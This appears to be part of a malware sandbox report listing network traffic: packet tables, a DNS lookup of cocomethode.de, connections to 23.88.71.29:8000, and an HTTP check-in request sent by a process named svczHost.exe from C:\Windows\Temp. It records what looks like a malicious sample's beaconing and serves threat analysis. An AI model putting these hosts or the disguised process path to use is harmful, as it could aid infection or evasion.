Dec 11, 2024 12:16:09.197349072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.197359085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197365999 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197424889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197573900 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.197587013 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197626114 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197729111 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.197737932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197829008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.197838068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197854996 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.197984934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.198003054 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198157072 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198169947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198230028 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.198245049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198419094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.198447943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198465109 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198544025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.198559046 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198654890 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198668957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198756933 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.198767900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.198841095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.198975086 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.199254990 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.199270010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.199501038 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.199512005 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.199636936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.199891090 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.212213993 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212234974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212403059 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.212439060 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212479115 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.212500095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212677002 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.212703943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212721109 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212759972 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.212771893 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212904930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212923050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.212930918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.213218927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.213238001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.213355064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.213413000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.213426113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.213664055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.213684082 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.213706970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.213758945 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.213860989 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.213866949 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.214054108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219113111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219132900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219283104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219305038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219348907 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219360113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219438076 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219537020 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219556093 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219573975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219758987 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219778061 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219862938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219933033 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219950914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.219980955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.219999075 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220099926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220114946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220148087 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.220227003 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.220237017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220355988 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.220468044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220483065 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220607042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.220765114 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.220786095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.220804930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.221086025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.221410036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.221425056 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.221647978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.221707106 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.221877098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.221890926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.221927881 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.222280025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.222368002 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.222739935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.225831032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.225850105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226022959 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226120949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.226130009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226193905 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.226212025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226321936 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226329088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.226402044 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.226485968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226691008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.226701021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.226778984 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.227044106 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227058887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227144003 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.227155924 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227195978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.227261066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227278948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227572918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.227582932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227665901 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227679968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.227996111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228041887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.228053093 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228207111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228290081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228421926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.228435040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228507042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.228713989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228733063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.228990078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.229002953 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.229080915 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.229094982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.229295015 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.229314089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.229321957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.229418039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.229598999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.229932070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.229947090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230057001 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230214119 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230344057 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230355024 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230444908 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230454922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230509996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230643034 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230652094 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230761051 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230778933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.230803967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230993986 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.230999947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.231235027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.237240076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237258911 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237375021 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.237452030 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.237462044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237530947 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.237541914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237586021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237817049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.237828970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237932920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.237943888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.237968922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238012075 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238154888 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238167048 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238231897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238296986 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238374949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238554001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238569021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238625050 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238635063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238784075 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238801956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.238868952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.238878965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.239245892 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.239461899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.239476919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.239635944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.239763021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.239792109 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.239800930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.239953995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.239968061 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240118027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.240127087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240171909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.240377903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240396976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240586042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.240597010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240659952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240674019 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240678072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.240797043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.240808010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240866899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240885019 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.240963936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.240974903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241010904 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.241156101 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.241455078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241470098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241677046 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.241688967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241754055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241796017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.241806030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241919994 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.241929054 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.241949081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.242014885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.242108107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.242114067 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.242264032 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.242372036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.242438078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:09.242588043 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.242755890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:09.242768049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:15.914648056 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:16.130471945 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:16.130680084 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:16.130820990 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:16.406188965 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:16.873985052 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:16.874412060 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:17.152379036 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:20.431066990 CET	49843	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:20.645543098 CET	8000	49843	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:20.645705938 CET	49843	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:20.646168947 CET	49843	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:20.905780077 CET	8000	49843	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:21.489192009 CET	8000	49843	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:21.489653111 CET	49843	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.490422964 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.704124928 CET	8000	49843	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:21.704262972 CET	49843	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.705879927 CET	8000	49844	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:21.706018925 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.706253052 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.706309080 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.706309080 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:21.921951056 CET	8000	49844	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:21.922185898 CET	8000	49844	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:22.169960976 CET	8000	49844	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:22.170321941 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:22.385755062 CET	8000	49844	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:22.386442900 CET	49844	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:24.751136065 CET	49837	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:24.865487099 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:24.865709066 CET	49837	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:27.313050032 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:27.589493036 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:27.828661919 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:28.105745077 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:28.344048023 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:28.607589006 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:28.859580040 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:29.132884026 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:29.375132084 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:29.640460968 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:29.890588999 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:30.165344954 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:30.406121016 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:30.681026936 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:46.871089935 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:47.151217937 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:47.297993898 CET	8000	49842	23.88.71.29	192.168.11.30
Dec 11, 2024 12:16:47.339729071 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:47.386662006 CET	49842	8000	192.168.11.30	23.88.71.29
Dec 11, 2024 12:16:47.653855085 CET	8000	49842	23.88.71.29	192.168.11.30

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 12:14:23.388513088 CET	52357	53	192.168.11.30	1.1.1.1
Dec 11, 2024 12:14:23.505273104 CET	53	52357	1.1.1.1	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 11, 2024 12:14:23.388513088 CET	192.168.11.30	1.1.1.1	0x767b	Standard query (0)	cocomethode.de	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 12:14:23.505273104 CET	1.1.1.1	192.168.11.30	0x767b	No error (0)	cocomethode.de		172.67.128.139	A (IP address)	IN (0x0001)	false
Dec 11, 2024 12:14:23.505273104 CET	1.1.1.1	192.168.11.30	0x767b	No error (0)	cocomethode.de		104.21.1.51	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cocomethode.de

23.88.71.29:8000

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49837	172.67.128.139	80	9472	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:15:09.846898079 CET	73	OUT	GET /api/check HTTP/1.1 Host: cocomethode.de Connection: Keep-Alive
Dec 11, 2024 12:15:10.561608076 CET	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:15:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store,no-cache Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vu%2Fyud99vuq%2FB6kSSlTl9i9KW8TCyogyhfT3aNhR5dMBJ%2BsEtv%2FZcKWYRmMWE16%2BfQkkES%2BryoTTj4yKC9NPqY%2BCIbXzndjnd1qRfSivosH1RhYiOEAB%2B%2F7sQ91YpDoG7LltPq06eBj9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46726&min_rtt=1511&rtt_var=12399&sent=894&recv=1337&lost=0&retrans=0&sent_bytes=131773&recv_bytes=1164412&delivery_rate=7411167&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050e22eea31392-ATL server-timing: cfL4;desc="?proto=TCP&rtt=49&min_rtt=49&rtt_var=24&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=330&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=52&min_rtt=52&rtt_var=26&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=313&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: Data Raw: Data Ascii:
Dec 11, 2024 12:15:10.561619043 CET	391	IN	Data Raw: 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 32 26 6d 69 6e 5f 72 74 74 3d 34 32 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 Data Ascii: cfL4;desc="?proto=TCP&rtt=42&min_rtt=42&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=298&delivery_rate=0&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=114121&min_rtt=11412
